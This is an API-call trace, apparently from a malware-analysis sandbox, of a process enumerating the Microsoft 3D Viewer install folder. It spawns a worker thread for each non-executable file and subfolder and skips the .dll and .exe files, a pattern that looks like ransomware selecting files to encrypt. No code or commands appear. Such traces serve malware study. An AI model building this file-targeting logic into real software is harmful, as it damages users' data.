	[0076.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac29e374, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71340
	[0076.800] wcscmp (_String1=".", _String2=".") returned 0
	[0076.800] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac29e374, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.800] wcscmp (_String1="..", _String2=".") returned 1
	[0076.800] wcscmp (_String1="..", _String2="..") returned 0
	[0076.800] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac310a85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac4da6c7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac4da6c7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6bc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="3DViewer.dll", cAlternateFileName="")) returned 1
	[0076.800] wcscmp (_String1="3DViewer.dll", _String2=".") returned 1
	[0076.801] wcscmp (_String1="3DViewer.dll", _String2="..") returned 1
	[0076.801] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac500925, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac526b7e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac526b7e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="3DViewer.exe", cAlternateFileName="")) returned 1
	[0076.801] wcscmp (_String1="3DViewer.exe", _String2=".") returned 1
	[0076.801] wcscmp (_String1="3DViewer.exe", _String2="..") returned 1
	[0076.801] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac526b7e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac526b7e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac526b7e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="3DViewer.ResourceResolver.exe", cAlternateFileName="")) returned 1
	[0076.801] wcscmp (_String1="3DViewer.ResourceResolver.exe", _String2=".") returned 1
	[0076.801] wcscmp (_String1="3DViewer.ResourceResolver.exe", _String2="..") returned 1
	[0076.801] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac29e374, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac2c45ce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac2c45ce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.801] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.801] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x4f48aa0
	[0076.801] wcscpy (in: _Dest=0x4f48aa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0076.801] wcscat (in: _Dest=0x4f48aa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0076.801] wcscat (in: _Dest=0x4f48aa0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f48aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10
	[0077.047] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac29e374, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac29e374, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac29e374, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a17, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.047] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.047] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2d5c100
	[0077.047] wcscpy (in: _Dest=0x2d5c100, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.047] wcscat (in: _Dest=0x2d5c100, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.047] wcscat (in: _Dest=0x2d5c100, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5c100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28
	[0077.048] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac2ea82c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba0d3c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac2ea82c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.048] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.048] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e129e0
	[0077.048] wcscpy (in: _Dest=0x2e129e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.048] wcscat (in: _Dest=0x2e129e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.048] wcscat (in: _Dest=0x2e129e0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e129e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c
	[0077.049] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2ea82c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac2ea82c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac2ea82c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.049] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.049] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x2e2a510
	[0077.049] wcscpy (in: _Dest=0x2e2a510, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.049] wcscat (in: _Dest=0x2e2a510, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.049] wcscat (in: _Dest=0x2e2a510, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2a510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30
	[0077.050] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac526b7e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabba158a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac59928e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.050] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.050] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7e2d8
	[0077.050] wcscpy (in: _Dest=0x2d7e2d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.050] wcscat (in: _Dest=0x2d7e2d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.050] wcscat (in: _Dest=0x2d7e2d8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7e2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34
	[0077.051] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac67e0b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac6a430d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac6a430d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beihai.Common.Diagnostics.dll", cAlternateFileName="")) returned 1
	[0077.051] wcscmp (_String1="Beihai.Common.Diagnostics.dll", _String2=".") returned 1
	[0077.051] wcscmp (_String1="Beihai.Common.Diagnostics.dll", _String2="..") returned 1
	[0077.051] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6a430d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac6a430d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac6a430d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beihai_Common_Diagnostics.winmd", cAlternateFileName="")) returned 1
	[0077.051] wcscmp (_String1="Beihai_Common_Diagnostics.winmd", _String2=".") returned 1
	[0077.051] wcscmp (_String1="Beihai_Common_Diagnostics.winmd", _String2="..") returned 1
	[0077.051] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x2e2a5f8
	[0077.051] wcscpy (in: _Dest=0x2e2a5f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.051] wcscat (in: _Dest=0x2e2a5f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.051] wcscat (in: _Dest=0x2e2a5f8, _Source="Beihai_Common_Diagnostics.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Beihai_Common_Diagnostics.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Beihai_Common_Diagnostics.winmd"
	[0077.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2a5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38
	[0077.052] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6a430d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac6ca56b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac6ca56b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0077.052] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0077.052] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0077.052] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6ca56b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac7af38c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac7af38c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x597000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EngineWinRT.dll", cAlternateFileName="")) returned 1
	[0077.052] wcscmp (_String1="EngineWinRT.dll", _String2=".") returned 1
	[0077.052] wcscmp (_String1="EngineWinRT.dll", _String2="..") returned 1
	[0077.052] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac7af38c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac7d55e5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac7d55e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lift.Engine.winmd", cAlternateFileName="")) returned 1
	[0077.052] wcscmp (_String1="Lift.Engine.winmd", _String2=".") returned 1
	[0077.052] wcscmp (_String1="Lift.Engine.winmd", _String2="..") returned 1
	[0077.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4722c30
	[0077.052] wcscpy (in: _Dest=0x4722c30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.052] wcscat (in: _Dest=0x4722c30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.052] wcscat (in: _Dest=0x4722c30, _Source="Lift.Engine.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Engine.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Engine.winmd"
	[0077.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c
	[0077.053] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac7d55e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac7d55e5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac7d55e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lift.Transcoding.winmd", cAlternateFileName="")) returned 1
	[0077.053] wcscmp (_String1="Lift.Transcoding.winmd", _String2=".") returned 1
	[0077.053] wcscmp (_String1="Lift.Transcoding.winmd", _String2="..") returned 1
	[0077.053] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e347b0
	[0077.053] wcscpy (in: _Dest=0x2e347b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.053] wcscat (in: _Dest=0x2e347b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.053] wcscat (in: _Dest=0x2e347b0, _Source="Lift.Transcoding.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Transcoding.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\Lift.Transcoding.winmd"
	[0077.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e347b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40
	[0077.054] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xabbf4c99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.054] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.054] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.054] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x2e348a0
	[0077.054] wcscpy (in: _Dest=0x2e348a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0077.054] wcscat (in: _Dest=0x2e348a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0077.054] wcscat (in: _Dest=0x2e348a0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e348a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44
	[0077.055] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac7d55e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca37b9a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xaca37b9a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x65be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PluginManagerWinRt.dll", cAlternateFileName="")) returned 1
	[0077.055] wcscmp (_String1="PluginManagerWinRt.dll", _String2=".") returned 1
	[0077.055] wcscmp (_String1="PluginManagerWinRt.dll", _String2="..") returned 1
	[0077.055] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca37b9a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xacb9b066, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xacb9b066, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6a2f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.055] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.055] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e349a8
	[0077.055] wcscpy (in: _Dest=0x2e349a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
